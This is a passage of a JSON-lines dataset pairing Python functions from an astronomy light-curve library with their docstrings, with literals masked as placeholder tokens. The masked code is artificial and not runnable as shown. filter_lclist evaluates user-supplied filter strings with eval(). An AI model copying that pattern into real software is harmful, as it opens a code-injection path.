magbins.max()))<EOL>plt.yscale('<STR_LIT>')<EOL>plt.tight_layout()<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:1.0>, linestyle='<STR_LIT:none>',<EOL>rasterized=True)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>linewidth=<NUM_LIT>)<EOL>plt.plot(<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>np.array(allobjects[magcol]['<STR_LIT>']) +<EOL>min_inveta_stdev*np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>),<EOL>linewidth=<NUM_LIT>, linestyle='<STR_LIT>'<EOL>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel(r'<STR_LIT>')<EOL>plt.title(r'<STR_LIT>' % magcol)<EOL>plt.xlim((magbins.min()-<NUM_LIT>, magbins.max()))<EOL>plt.yscale('<STR_LIT>')<EOL>plt.tight_layout()<EOL>plt.savefig('<STR_LIT>' % (varthreshpkl,<EOL>magcol),<EOL>bbox_inches='<STR_LIT>')<EOL>plt.close('<STR_LIT:all>')<EOL><DEDENT>", "docstring": "This makes plots for the variability threshold distributions.\n\n    Parameters\n    ----------\n\n    varthreshpkl : str\n        The pickle produced by the function above.\n\n    xmin_lcmad_stdev,xmin_stetj_stdev,xmin_iqr_stdev,xmin_inveta_stdev : float or np.array\n        Values of the threshold values to override the ones in the\n        `vartresholdpkl`. If provided, will plot the thresholds accordingly\n        instead of using the ones in the input pickle directly.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict.\n\n    Returns\n    -------\n\n    str\n        The file name of the threshold plot generated.", "id": "f14708:m2"}
{"signature": "def _lclist_parallel_worker(task):", "body": "lcf, columns, lcformat, lcformatdir, lcndetkey = task<EOL>try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>lcobjdict = {'<STR_LIT>':os.path.abspath(lcf)}<EOL>try:<EOL><INDENT>lcdict = readerfunc(lcf)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>for colkey in columns:<EOL><INDENT>if '<STR_LIT:.>' in colkey:<EOL><INDENT>getkey = colkey.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>getkey = [colkey]<EOL><DEDENT>try:<EOL><INDENT>thiscolval = _dict_get(lcdict, getkey)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>(colkey, lcf))<EOL>thiscolval = np.nan<EOL><DEDENT>lcobjdict[getkey[-<NUM_LIT:1>]] = thiscolval<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % lcf)<EOL>for colkey in columns:<EOL><INDENT>if '<STR_LIT:.>' in colkey:<EOL><INDENT>getkey = colkey.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>getkey = [colkey]<EOL><DEDENT>thiscolval = np.nan<EOL>lcobjdict[getkey[-<NUM_LIT:1>]] = thiscolval<EOL><DEDENT><DEDENT>for dk in lcndetkey:<EOL><INDENT>try:<EOL><INDENT>if '<STR_LIT:.>' in dk:<EOL><INDENT>getdk = dk.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>getdk = [dk]<EOL><DEDENT>ndetcol = _dict_get(lcdict, getdk)<EOL>actualndets = ndetcol[np.isfinite(ndetcol)].size<EOL>lcobjdict['<STR_LIT>' % getdk[-<NUM_LIT:1>]] = actualndets<EOL><DEDENT>except Exception as e:<EOL><INDENT>lcobjdict['<STR_LIT>' % getdk[-<NUM_LIT:1>]] = np.nan<EOL><DEDENT><DEDENT>return lcobjdict<EOL>", "docstring": "This is a parallel worker for makelclist.\n\n    Parameters\n    ----------\n\n    task : tuple\n        This is a tuple containing the following items:\n\n        task[0] = lcf\n        task[1] = columns\n        task[2] = lcformat\n        task[3] = lcformatdir\n        task[4] = lcndetkey\n\n    Returns\n    -------\n\n    dict or None\n        This contains all of the info for the object processed in this LC read\n        operation. If this fails, returns None", "id": "f14709:m1"}
{"signature": "def make_lclist(basedir,<EOL>outfile,<EOL>use_list_of_filenames=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>fileglob=None,<EOL>recursive=True,<EOL>columns=['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>makecoordindex=('<STR_LIT>','<STR_LIT>'),<EOL>field_fitsfile=None,<EOL>field_wcsfrom=None,<EOL>field_scale=ZScaleInterval(),<EOL>field_stretch=LinearStretch(),<EOL>field_colormap=plt.cm.gray_r,<EOL>field_findersize=None,<EOL>field_pltopts={'<STR_LIT>':'<STR_LIT:o>',<EOL>'<STR_LIT>':<NUM_LIT>,<EOL>'<STR_LIT>':'<STR_LIT:none>',<EOL>'<STR_LIT>':<NUM_LIT>,<EOL>'<STR_LIT>':'<STR_LIT>'},<EOL>field_grid=False,<EOL>field_gridcolor='<STR_LIT:k>',<EOL>field_zoomcontain=True,<EOL>maxlcs=None,<EOL>nworkers=NCPUS):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if not fileglob:<EOL><INDENT>fileglob = dfileglob<EOL><DEDENT>lcndetkey = dmagcols<EOL>if isinstance(use_list_of_filenames, list):<EOL><INDENT>matching = use_list_of_filenames<EOL><DEDENT>else:<EOL><INDENT>if isinstance(basedir, list):<EOL><INDENT>matching = []<EOL>for bdir in basedir:<EOL><INDENT>LOGINFO('<STR_LIT>' % (lcformat,<EOL>bdir))<EOL>if recursive is False:<EOL><INDENT>matching.extend(glob.glob(os.path.join(bdir, fileglob)))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching.extend(glob.glob(os.path.join(bdir,<EOL>'<STR_LIT>',<EOL>fileglob),<EOL>recursive=True))<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(bdir)<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>fileglob)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(lcformat, basedir))<EOL>if recursive is False:<EOL><INDENT>matching = glob.glob(os.path.join(basedir, fileglob))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(basedir,<EOL>'<STR_LIT>',<EOL>fileglob),recursive=True)<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(basedir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>fileglob)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if matching and len(matching) > <NUM_LIT:0>:<EOL><INDENT>LOGINFO('<STR_LIT>' % len(matching))<EOL>if maxlcs:<EOL><INDENT>matching = matching[:maxlcs]<EOL><DEDENT>lclistdict = {<EOL>'<STR_LIT>':basedir,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':fileglob,<EOL>'<STR_LIT>':recursive,<EOL>'<STR_LIT>':columns,<EOL>'<STR_LIT>':makecoordindex,<EOL>'<STR_LIT>':len(matching),<EOL>'<STR_LIT>': {<EOL>}<EOL>}<EOL>derefcols = ['<STR_LIT>']<EOL>derefcols.extend(['<STR_LIT>' % x.split('<STR_LIT:.>')[-<NUM_LIT:1>] for x in lcndetkey])<EOL>for dc in derefcols:<EOL><INDENT>lclistdict['<STR_LIT>'][dc] = []<EOL><DEDENT>for col in columns:<EOL><INDENT>thiscol = col.split('<STR_LIT:.>')<EOL>thiscol = thiscol[-<NUM_LIT:1>]<EOL>lclistdict['<STR_LIT>'][thiscol] = []<EOL>derefcols.append(thiscol)<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL>tasks = [(x, columns, lcformat, lcformatdir, lcndetkey)<EOL>for x in matching]<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>results = executor.map(_lclist_parallel_worker, tasks)<EOL><DEDENT>results = [x for x in results]<EOL>for result in results:<EOL><INDENT>for xcol in derefcols:<EOL><INDENT>lclistdict['<STR_LIT>'][xcol].append(result[xcol])<EOL><DEDENT><DEDENT>executor.shutdown()<EOL>for col in lclistdict['<STR_LIT>']:<EOL><INDENT>lclistdict['<STR_LIT>'][col] = np.array(lclistdict['<STR_LIT>'][col])<EOL><DEDENT>uniques, counts = np.unique(lclistdict['<STR_LIT>']['<STR_LIT>'],<EOL>return_counts=True)<EOL>duplicated_objectids = uniques[counts > <NUM_LIT:1>]<EOL>if duplicated_objectids.size > <NUM_LIT:0>:<EOL><INDENT>dt = lclistdict['<STR_LIT>']['<STR_LIT>'].dtype.str<EOL>dt = '<STR_LIT>' % (<EOL>int(dt.replace('<STR_LIT:<>','<STR_LIT>').replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT:S>','<STR_LIT>')) + <NUM_LIT:3><EOL>)<EOL>lclistdict['<STR_LIT>']['<STR_LIT>'] = np.array(<EOL>lclistdict['<STR_LIT>']['<STR_LIT>'],<EOL>dtype=dt<EOL>)<EOL>for objid in duplicated_objectids:<EOL><INDENT>objid_inds = np.where(<EOL>lclistdict['<STR_LIT>']['<STR_LIT>'] == objid<EOL>)<EOL>for ncounter, nind in enumerate(objid_inds[<NUM_LIT:0>][<NUM_LIT:1>:]):<EOL><INDENT>lclistdict['<STR_LIT>']['<STR_LIT>'][nind] = '<STR_LIT>' % (<EOL>lclistdict['<STR_LIT>']['<STR_LIT>'][nind],<EOL>ncounter+<NUM_LIT:2><EOL>)<EOL>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(ncounter+<NUM_LIT:2>, objid, objid, ncounter+<NUM_LIT:2>,<EOL>lclistdict['<STR_LIT>']['<STR_LIT>'][nind])<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if (makecoordindex and<EOL>isinstance(makecoordindex, (list, tuple)) and<EOL>len(makecoordindex) == <NUM_LIT:2>):<EOL><INDENT>try:<EOL><INDENT>racol, declcol = makecoordindex<EOL>racol = racol.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>declcol = declcol.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>objra, objdecl = (lclistdict['<STR_LIT>'][racol],<EOL>lclistdict['<STR_LIT>'][declcol])<EOL>cosdecl = np.cos(np.radians(objdecl))<EOL>sindecl = np.sin(np.radians(objdecl))<EOL>cosra = np.cos(np.radians(objra))<EOL>sinra = np.sin(np.radians(objra))<EOL>xyz = np.column_stack((cosra*cosdecl,sinra*cosdecl, sindecl))<EOL>kdt = sps.cKDTree(xyz,copy_data=True)<EOL>lclistdict['<STR_LIT>'] = kdt<EOL>LOGINFO('<STR_LIT>' %<EOL>(makecoordindex[<NUM_LIT:0>], makecoordindex[<NUM_LIT:1>]))<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(makecoordindex[<NUM_LIT:0>], makecoordindex[<NUM_LIT:1>]))<EOL>raise<EOL><DEDENT><DEDENT>if field_fitsfile and os.path.exists(field_fitsfile):<EOL><INDENT>if field_wcsfrom is None:<EOL><INDENT>hdulist = pyfits.open(field_fitsfile)<EOL>hdr = hdulist[<NUM_LIT:0>].header<EOL>hdulist.close()<EOL>w = WCS(hdr)<EOL>wcsok = True<EOL><DEDENT>elif os.path.exists(field_wcsfrom):<EOL><INDENT>w = WCS(field_wcsfrom)<EOL>wcsok = True<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>field_fitsfile)<EOL>wcsok = False<EOL><DEDENT>if wcsok:<EOL><INDENT>radecl = np.column_stack((objra, objdecl))<EOL>lclistdict['<STR_LIT>']['<STR_LIT>'] = w.all_world2pix(<EOL>radecl,<EOL><NUM_LIT:1><EOL>)<EOL>finder_outfile = os.path.join(<EOL>os.path.dirname(outfile),<EOL>os.path.splitext(os.path.basename(outfile))[<NUM_LIT:0>] + '<STR_LIT>'<EOL>)<EOL>finder_png = fits_finder_chart(<EOL>field_fitsfile,<EOL>finder_outfile,<EOL>wcsfrom=field_wcsfrom,<EOL>scale=field_scale,<EOL>stretch=field_stretch,<EOL>colormap=field_colormap,<EOL>findersize=field_findersize,<EOL>overlay_ra=objra,<EOL>overlay_decl=objdecl,<EOL>overlay_pltopts=field_pltopts,<EOL>overlay_zoomcontain=field_zoomcontain,<EOL>grid=field_grid,<EOL>gridcolor=field_gridcolor<EOL>)<EOL>if finder_png is not None:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % finder_png)<EOL><DEDENT><DEDENT><DEDENT>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lclistdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>LOGINFO('<STR_LIT>' % outfile)<EOL>return outfile<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % (basedir, fileglob))<EOL>return None<EOL><DEDENT>", "docstring": "This generates a light curve catalog for all light curves in a directory.\n\n    Given a base directory where all the files are, and a light curve format,\n    this will find all light curves, pull out the keys in each lcdict requested\n    in the `columns` kwarg for each object, and write them to the requested\n    output pickle file. These keys should be pointers to scalar values\n    (i.e. something like `objectinfo.ra` is OK, but something like 'times' won't\n    work because it's a vector).\n\n    Generally, this works with light curve reading functions that produce\n    lcdicts as detailed in the docstring for `lcproc.register_lcformat`. Once\n    you've registered your light curve reader functions using the\n    `lcproc.register_lcformat` function, pass in the `formatkey` associated with\n    your light curve format, and this function will be able to read all light\n    curves in that format as well as the object information stored in their\n    `objectinfo` dict.\n\n    Parameters\n    ----------\n\n    basedir : str or list of str\n        If this is a str, points to a single directory to search for light\n        curves. If this is a list of str, it must be a list of directories to\n        search for light curves. All of these will be searched to find light\n        curve files matching either your light curve format's default fileglob\n        (when you registered your LC format), or a specific fileglob that you\n        can pass in using the `fileglob` kwargh here. If the `recursive` kwarg\n        is set, the provided directories will be searched recursively.\n\n        If `use_list_of_filenames` is not None, it will override this argument\n        and the function will take those light curves as the list of files it\n        must process instead of whatever is specified in `basedir`.\n\n    outfile : str\n        This is the name of the output file to write. This will be a pickle\n        file, so a good convention to use for this name is something like\n        'my-lightcurve-catalog.pkl'.\n\n    use_list_of_filenames : list of str or None\n        Use this kwarg to override whatever is provided in `basedir` and\n        directly pass in a list of light curve files to process. This can speed\n        up this function by a lot because no searches on disk will be performed\n        to find light curve files matching `basedir` and `fileglob`.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    fileglob : str or None\n        If provided, is a string that is a valid UNIX filename glob. Used to\n        override the default fileglob for this LC format when searching for\n        light curve files in `basedir`.\n\n    recursive : bool\n        If True, the directories specified in `basedir` will be searched\n        recursively for all light curve files that match the default fileglob\n        for this LC format or a specific one provided in `fileglob`.\n\n    columns : list of str\n        This is a list of keys in the lcdict produced by your light curve reader\n        function that contain object information, which will be extracted and\n        put into the output light curve catalog. It's highly recommended that\n        your LC reader function produce a lcdict that contains at least the\n        default keys shown here.\n\n        The lcdict keys to extract are specified by using an address scheme:\n\n        - First level dict keys can be specified directly:\n          e.g., 'objectid' will extract lcdict['objectid']\n        - Keys at other levels can be specified by using a period to indicate\n          the level:\n\n          - e.g., 'objectinfo.ra' will extract lcdict['objectinfo']['ra']\n          - e.g., 'objectinfo.varinfo.features.stetsonj' will extract\n            lcdict['objectinfo']['varinfo']['features']['stetsonj']\n\n    makecoordindex : list of two str or None\n        This is used to specify which lcdict keys contain the right ascension\n        and declination coordinates for this object. If these are provided, the\n        output light curve catalog will have a kdtree built on all object\n        coordinates, which enables fast spatial searches and cross-matching to\n        external catalogs by `checkplot` and `lcproc` functions.\n\n    field_fitsfile : str or None\n        If this is not None, it should be the path to a FITS image containing\n        the objects these light curves are for. If this is provided,\n        `make_lclist` will use the WCS information in the FITS itself if\n        `field_wcsfrom` is None (or from a WCS header file pointed to by\n        `field_wcsfrom`) to obtain x and y pixel coordinates for all of the\n        objects in the field. A finder chart will also be made using\n        `astrobase.plotbase.fits_finder_chart` using the corresponding\n        `field_scale`, `_stretch`, `_colormap`, `_findersize`, `_pltopts`,\n        `_grid`, and `_gridcolors` kwargs for that function, reproduced here to\n        enable customization of the finder chart plot.\n\n    field_wcsfrom : str or None\n        If `wcsfrom` is None, the WCS to transform the RA/Dec to pixel x/y will\n        be taken from the FITS header of `fitsfile`. If this is not None, it\n        must be a FITS or similar file that contains a WCS header in its first\n        extension.\n\n    field_scale : astropy.visualization.Interval object\n        `scale` sets the normalization for the FITS pixel values. This is an\n        astropy.visualization Interval object.\n        See http://docs.astropy.org/en/stable/visualization/normalization.html\n        for details on `scale` and `stretch` objects.\n\n    field_stretch : astropy.visualization.Stretch object\n        `stretch` sets the stretch function for mapping FITS pixel values to\n        output pixel values. This is an astropy.visualization Stretch object.\n        See http://docs.astropy.org/en/stable/visualization/normalization.html\n        for details on `scale` and `stretch` objects.\n\n    field_colormap : matplotlib Colormap object\n        `colormap` is a matplotlib color map object to use for the output image.\n\n    field_findersize : None or tuple of two ints\n        If `findersize` is None, the output image size will be set by the NAXIS1\n        and NAXIS2 keywords in the input `fitsfile` FITS header. Otherwise,\n        `findersize` must be a tuple with the intended x and y size of the image\n        in inches (all output images will use a DPI = 100).\n\n    field_pltopts : dict\n        `field_pltopts` controls how the overlay points will be plotted. This\n        a dict with standard matplotlib marker, etc. kwargs as key-val pairs,\n        e.g. 'markersize', 'markerfacecolor', etc. The default options make red\n        outline circles at the location of each object in the overlay.\n\n    field_grid : bool\n        `grid` sets if a grid will be made on the output image.\n\n    field_gridcolor : str\n        `gridcolor` sets the color of the grid lines. This is a usual matplotib\n        color spec string.\n\n    field_zoomcontain : bool\n        `field_zoomcontain` controls if the finder chart will be zoomed to\n        just contain the overlayed points. Everything outside the footprint of\n        these points will be discarded.\n\n    maxlcs : int or None\n        This sets how many light curves to process in the input LC list\n        generated by searching for LCs in `basedir` or in the list provided as\n        `use_list_of_filenames`.\n\n    nworkers : int\n        This sets the number of parallel workers to launch to collect\n        information from the light curves.\n\n    Returns\n    -------\n\n    str\n        Returns the path to the generated light curve catalog pickle file.", "id": "f14709:m2"}
{"signature": "def filter_lclist(lc_catalog,<EOL>objectidcol='<STR_LIT>',<EOL>racol='<STR_LIT>',<EOL>declcol='<STR_LIT>',<EOL>xmatchexternal=None,<EOL>xmatchdistarcsec=<NUM_LIT>,<EOL>externalcolnums=(<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>),<EOL>externalcolnames=['<STR_LIT>','<STR_LIT>','<STR_LIT>'],<EOL>externalcoldtypes='<STR_LIT>',<EOL>externalcolsep=None,<EOL>externalcommentchar='<STR_LIT:#>',<EOL>conesearch=None,<EOL>conesearchworkers=<NUM_LIT:1>,<EOL>columnfilters=None,<EOL>field_fitsfile=None,<EOL>field_wcsfrom=None,<EOL>field_scale=ZScaleInterval(),<EOL>field_stretch=LinearStretch(),<EOL>field_colormap=plt.cm.gray_r,<EOL>field_findersize=None,<EOL>field_pltopts={'<STR_LIT>':'<STR_LIT:o>',<EOL>'<STR_LIT>':<NUM_LIT>,<EOL>'<STR_LIT>':'<STR_LIT:none>',<EOL>'<STR_LIT>':<NUM_LIT>,<EOL>'<STR_LIT>':'<STR_LIT>'},<EOL>field_grid=False,<EOL>field_gridcolor='<STR_LIT:k>',<EOL>field_zoomcontain=True,<EOL>copylcsto=None):", "body": "with open(lc_catalog,'<STR_LIT:rb>') as infd:<EOL><INDENT>lclist = pickle.load(infd)<EOL><DEDENT>xmatch_matching_index = np.full_like(lclist['<STR_LIT>'][objectidcol],<EOL>False,<EOL>dtype=np.bool)<EOL>conesearch_matching_index = np.full_like(lclist['<STR_LIT>'][objectidcol],<EOL>False,<EOL>dtype=np.bool)<EOL>ext_matches = []<EOL>ext_matching_objects = []<EOL>if (xmatchexternal and<EOL>isinstance(xmatchexternal, str) and<EOL>os.path.exists(xmatchexternal)):<EOL><INDENT>try:<EOL><INDENT>extcat = np.genfromtxt(xmatchexternal,<EOL>usecols=externalcolnums,<EOL>delimiter=externalcolsep,<EOL>names=externalcolnames,<EOL>dtype=externalcoldtypes,<EOL>comments=externalcommentchar)<EOL>ext_cosdecl = np.cos(np.radians(extcat['<STR_LIT>']))<EOL>ext_sindecl = np.sin(np.radians(extcat['<STR_LIT>']))<EOL>ext_cosra = np.cos(np.radians(extcat['<STR_LIT>']))<EOL>ext_sinra = np.sin(np.radians(extcat['<STR_LIT>']))<EOL>ext_xyz = np.column_stack((ext_cosra*ext_cosdecl,<EOL>ext_sinra*ext_cosdecl,<EOL>ext_sindecl))<EOL>ext_xyzdist = <NUM_LIT> * np.sin(np.radians(xmatchdistarcsec/<NUM_LIT>)/<NUM_LIT>)<EOL>our_kdt = lclist['<STR_LIT>']<EOL>ext_kdt = sps.cKDTree(ext_xyz)<EOL>extkd_matchinds = ext_kdt.query_ball_tree(our_kdt, ext_xyzdist)<EOL>for extind, mind in enumerate(extkd_matchinds):<EOL><INDENT>if len(mind) > <NUM_LIT:0>:<EOL><INDENT>ext_matches.append(mind[<NUM_LIT:0>])<EOL>ext_matching_objects.append(extcat[extind])<EOL><DEDENT><DEDENT>ext_matches = np.array(ext_matches)<EOL>if ext_matches.size > <NUM_LIT:0>:<EOL><INDENT>xmatch_matching_index[ext_matches] = True<EOL>LOGINFO('<STR_LIT>' %<EOL>(xmatchexternal, xmatchdistarcsec, ext_matches.size))<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % xmatchexternal)<EOL>return None, None, None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>repr(xmatchexternal))<EOL>raise<EOL><DEDENT><DEDENT>if (conesearch and<EOL>isinstance(conesearch, (list, tuple)) and<EOL>len(conesearch) == <NUM_LIT:3>):<EOL><INDENT>try:<EOL><INDENT>racenter, declcenter, searchradius = conesearch<EOL>cosdecl = np.cos(np.radians(declcenter))<EOL>sindecl = np.sin(np.radians(declcenter))<EOL>cosra = np.cos(np.radians(racenter))<EOL>sinra = np.sin(np.radians(racenter))<EOL>xyzdist = <NUM_LIT> * np.sin(np.radians(searchradius)/<NUM_LIT>)<EOL>our_kdt = lclist['<STR_LIT>']<EOL>kdtindices = our_kdt.query_ball_point([cosra*cosdecl,<EOL>sinra*cosdecl,<EOL>sindecl],<EOL>xyzdist,<EOL>n_jobs=conesearchworkers)<EOL>if kdtindices and len(kdtindices) > <NUM_LIT:0>:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(searchradius, racenter, declcenter, len(kdtindices)))<EOL>matchingind = kdtindices<EOL>conesearch_matching_index[np.array(matchingind)] = True<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(searchradius, racenter, declcenter, len(kdtindices)))<EOL>return None, None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % lc_catalog)<EOL>raise<EOL><DEDENT><DEDENT>allfilterinds = []<EOL>if columnfilters and isinstance(columnfilters, list):<EOL><INDENT>for cfilt in columnfilters:<EOL><INDENT>try:<EOL><INDENT>fcol, foperator, foperand = cfilt.split('<STR_LIT:|>')<EOL>foperator = FILTEROPS[foperator]<EOL>filterstr = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>) % (fcol, fcol, foperator, foperand)<EOL>filterind = eval(filterstr)<EOL>ngood = lclist['<STR_LIT>'][objectidcol][filterind].size<EOL>LOGINFO('<STR_LIT>' % (cfilt, ngood))<EOL>allfilterinds.append(filterind)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>% cfilt)<EOL>LOGWARNING('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if (xmatchexternal or conesearch or columnfilters):<EOL><INDENT>filterstack = []<EOL>if xmatchexternal:<EOL><INDENT>filterstack.append(xmatch_matching_index)<EOL><DEDENT>if conesearch:<EOL><INDENT>filterstack.append(conesearch_matching_index)<EOL><DEDENT>if columnfilters:<EOL><INDENT>filterstack.extend(allfilterinds)<EOL><DEDENT>finalfilterind = np.column_stack(filterstack)<EOL>finalfilterind = np.all(finalfilterind, axis=<NUM_LIT:1>)<EOL>filteredobjectids = lclist['<STR_LIT>'][objectidcol][finalfilterind]<EOL>filteredlcfnames = lclist['<STR_LIT>']['<STR_LIT>'][finalfilterind]<EOL><DEDENT>else:<EOL><INDENT>filteredobjectids = lclist['<STR_LIT>'][objectidcol]<EOL>filteredlcfnames = lclist['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>if field_fitsfile is not None and os.path.exists(field_fitsfile):<EOL><INDENT>matching_ra = lclist['<STR_LIT>'][racol][finalfilterind]<EOL>matching_decl = lclist['<STR_LIT>'][declcol][finalfilterind]<EOL>matching_postfix = []<EOL>if xmatchexternal is not None:<EOL><INDENT>matching_postfix.append(<EOL>'<STR_LIT>' %<EOL>os.path.splitext(os.path.basename(xmatchexternal))[<NUM_LIT:0>]<EOL>)<EOL><DEDENT>if conesearch is not None:<EOL><INDENT>matching_postfix.append('<STR_LIT>' %<EOL>tuple(conesearch))<EOL><DEDENT>if columnfilters is not None:<EOL><INDENT>for cfi, cf in enumerate(columnfilters):<EOL><INDENT>if cfi == <NUM_LIT:0>:<EOL><INDENT>matching_postfix.append('<STR_LIT>' %<EOL>tuple(cf.split('<STR_LIT:|>')))<EOL><DEDENT>else:<EOL><INDENT>matching_postfix.append('<STR_LIT>' %<EOL>tuple(cf.split('<STR_LIT:|>')))<EOL><DEDENT><DEDENT><DEDENT>if len(matching_postfix) > <NUM_LIT:0>:<EOL><INDENT>matching_postfix = '<STR_LIT>' % '<STR_LIT:_>'.join(matching_postfix)<EOL><DEDENT>else:<EOL><INDENT>matching_postfix = '<STR_LIT>'<EOL><DEDENT>finder_outfile = os.path.join(<EOL>os.path.dirname(lc_catalog),<EOL>'<STR_LIT>' %<EOL>(os.path.splitext(os.path.basename(lc_catalog))[<NUM_LIT:0>],<EOL>matching_postfix)<EOL>)<EOL>finder_png = fits_finder_chart(<EOL>field_fitsfile,<EOL>finder_outfile,<EOL>wcsfrom=field_wcsfrom,<EOL>scale=field_scale,<EOL>stretch=field_stretch,<EOL>colormap=field_colormap,<EOL>findersize=field_findersize,<EOL>overlay_ra=matching_ra,<EOL>overlay_decl=matching_decl,<EOL>overlay_pltopts=field_pltopts,<EOL>field_zoomcontain=field_zoomcontain,<EOL>grid=field_grid,<EOL>gridcolor=field_gridcolor<EOL>)<EOL>if finder_png is not None:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % finder_png)<EOL><DEDENT><DEDENT>if copylcsto is not None:<EOL><INDENT>if not os.path.exists(copylcsto):<EOL><INDENT>os.mkdir(copylcsto)<EOL><DEDENT>if TQDM:<EOL><INDENT>lciter = 